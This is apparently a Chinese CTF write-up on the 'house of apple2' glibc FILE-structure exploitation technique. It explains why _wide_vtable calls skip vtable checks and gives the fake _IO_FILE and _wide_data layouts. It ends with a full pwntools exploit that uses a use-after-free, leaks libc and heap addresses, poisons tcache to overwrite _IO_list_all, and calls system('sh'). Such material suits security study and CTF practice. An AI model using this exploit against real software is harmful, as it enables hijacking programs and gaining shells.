house_of_apple2
利用条件
使用house of apple2
的条件为:
已知heap
地址和glibc
地址
能控制程序执行IO
操作,包括但不限于:从main
函数返回、调用exit
函数、通过__malloc_assert
触发
能控制_IO_FILE
的vtable
和_wide_data
,一般使用largebin attack
去控制(或者伪造IO_FILE)
利用原理
stdin/stdout/stderr
这三个_IO_FILE
结构体使用的是_IO_file_jumps
这个vtable
,而当需要调用到vtable
里面的函数指针时,会使用宏去调用。其中会对vtable进行检查,会判断vtable
的地址是不是在一个合法的区间。如果vtable
的地址不合法,程序将会异常终止。
观察struct _IO_wide_data
结构体,发现其对应有一个_wide_vtable
成员。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct _IO_wide_data { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable; };
在调用_wide_vtable
虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow
调用为例,所用到的宏依次为:
1 2 3 4 5 6 7 8 _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
可以看到,在调用_wide_vtable
里面的成员函数指针时,没有关于vtable的合法性检查 。
因此,我们可以劫持IO_FILE
的vtable
为_IO_wfile_jumps
,控制_wide_data
为可控的堆地址空间,进而控制_wide_data->_wide_vtable
为可控的堆地址空间。控制程序执行IO
流函数调用,最终调用到_IO_Wxxxxx
函数即可控制程序的执行流。
_IO_wfile_overflow
目前在glibc
源码中搜索到的_IO_WXXXXX
系列函数的调用只有_IO_WSETBUF
、_IO_WUNDERFLOW
、_IO_WDOALLOCATE
和_IO_WOVERFLOW
。
其中_IO_WSETBUF
和_IO_WUNDERFLOW
目前无法利用或利用困难,其余的均可构造合适的_IO_FILE
进行利用。
以_io_wfile_overflow
为例,fp
就是伪造的IO_FILE。
对fp
的设置如下:
_flags
设置为~(2 | 0x8 | 0x800)
,如果不需要控制rdi
,设置为0
即可;如果需要获得shell
,可设置为 sh;
,注意前面有两个空格
vtable
设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap
地址(加减偏移),使其能成功调用_IO_wfile_overflow
即可
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base
设置为0
,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
1 2 3 4 5 6 7 fake_file = FileStructure() fake_file.flags = b' sh;\x00\x00\x00' fake_file._IO_write_ptr = p64(1 ) fake_file.chain = p64(stdout) fake_file._wide_data = p64(heap_base+0x8b0 ) fake_file.vtable = p64(IO_wfile_jumps) fake_file = bytes (fake_file)
1 2 3 4 fake_wide = p64(0 )*4 fake_wide += p64(0 )*3 fake_wide += p64(0 ) + p64(0 )*20 + p64(heap_base+0x9a0 ) fake_wide += p64(0 )*14 +p64(libc_base+libc.sym['system' ]+0x10 )
调用过程
1 2 3 4 _IO_wfile_overflow _IO_wdoallocbuf _IO_WDOALLOCATE *(fp->_wide_data->_wide_vtable + 0x68 )(fp)
我们就是伪造最后的_wide_vtable+0x68处为system。从而触发system调用。
题目
有一次UAF,并且calloc可以一直利用,malloc只能使用两次。
先释放7个chunk,然后第8个用UAF进行释放,利用这个UAF进行泄露libc,然后用calloc切割unsortedbin堆块,因为calloc不会从tcachebin中分配,而是直接从unsortedbin中切割。然后再释放calloc切割的Chunk,泄露heap_key和heap_base。再次calloc切割,然后释放两次calloc切割的chunk进入到tcachebin中。通过UAF指针利用edit修改tcachebin的next指向_IO_list_all
。将其修改到堆中伪造的fp。控制对应的_wide_data
和_wide_vtable
。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from pwn import *from pwn import u64,u32,p64,p32from ctypes import *from libcfind import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" , "splitw" , "-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('node4.anna.nssctf.cn' , 28562 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num).decode()) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) libc = ELF('./libc.so.6' ) def add_malloc (size,index ): rl(b">> " ) sl(b'1' ) rl(b"Note size:" ) sl(str (size)) rl(b"Choose a note:" ) sl(str (index)) rl(b"Choose a mode: [1] or [2]" ) sl(b'2' ) def add_calloc (size,index ): rl(b">> " ) sl(b'1' ) rl(b"Note size:" ) sl(str (size)) rl(b"Choose a note:" ) sl(str (index)) rl(b"Choose a mode: [1] or [2]" ) sl(b'1' ) def show (index ): rl(b">> " ) sl(b'3' ) rl(b"Which one do you want to show?" ) sl(str (index)) def delete (index ): rl(b">> " ) sl(b'2' ) rl("Choose a note:" ) sl(str (index)) def edit (index,content ): rl(b">> " ) sl(b'4' ) rl("Choose a note:" ) sl(str (index)) rl("Edit your content:" ) s(content) def uaf (index ): rl(b">> " ) sl(b'666' ) rl(b"Choose a note:" ) sl(str (index)) gdb.attach(p,'b _IO_wdoallocbuf' ) for i in range (10 ): add_calloc(0x1f0 ,i) for i in range (7 ): delete(i) uaf(7 ) show(7 ) rl(b"content: " ) libc_leak = uu64() lg("libc_leak" ,libc_leak) libc_base = libc_leak-0x21ace0 lg("libc_base" ,libc_base) add_calloc(0xe0 ,0 ) delete(0 ) show(7 ) rl("content: " ) heap_key = u64(p.recv(5 ).ljust(8 ,b'\x00' )) lg("heap_key" ,heap_key) heap_base = heap_key << 12 lg("heap_base" ,heap_base) stdout = libc.sym['_IO_2_1_stdout_' ] + libc_base + 0x1000 lg("stdout" ,stdout) IO_wfile_jumps = libc_base + 0x2160c0 + 0x1000 IO_list_all = libc_base + libc.sym['_IO_list_all' ] + 0x1000 lg("IO_list_all" ,IO_list_all) lg("system" ,libc_base+libc.sym['system' ]) add_calloc(0x200 ,4 ) fake_file = FileStructure() fake_file.flags = b' sh;\x00\x00\x00' fake_file._IO_write_ptr = p64(1 ) fake_file.chain = p64(stdout) fake_file._wide_data = p64(heap_base+0x8b0 ) fake_file.vtable = p64(IO_wfile_jumps) fake_file = bytes (fake_file) edit(4 ,fake_file) add_calloc(0x200 ,5 ) fake_wide = p64(0 )*4 fake_wide += p64(0 )*3 fake_wide += p64(0 ) + p64(0 )*20 + p64(heap_base+0x9a0 ) fake_wide += p64(0 )*14 +p64(libc_base+libc.sym['system' ]+0x10 ) edit(5 ,fake_wide) add_calloc(0xe0 ,0 ) delete(0 ) edit(7 ,p64(0 )*29 +p64(0xf1 )+p64(heap_key^IO_list_all)) add_malloc(0xe0 ,0 ) add_malloc(0xe0 ,1 ) edit(1 ,p64(heap_base+0x6a0 )) delete(2 ) inter()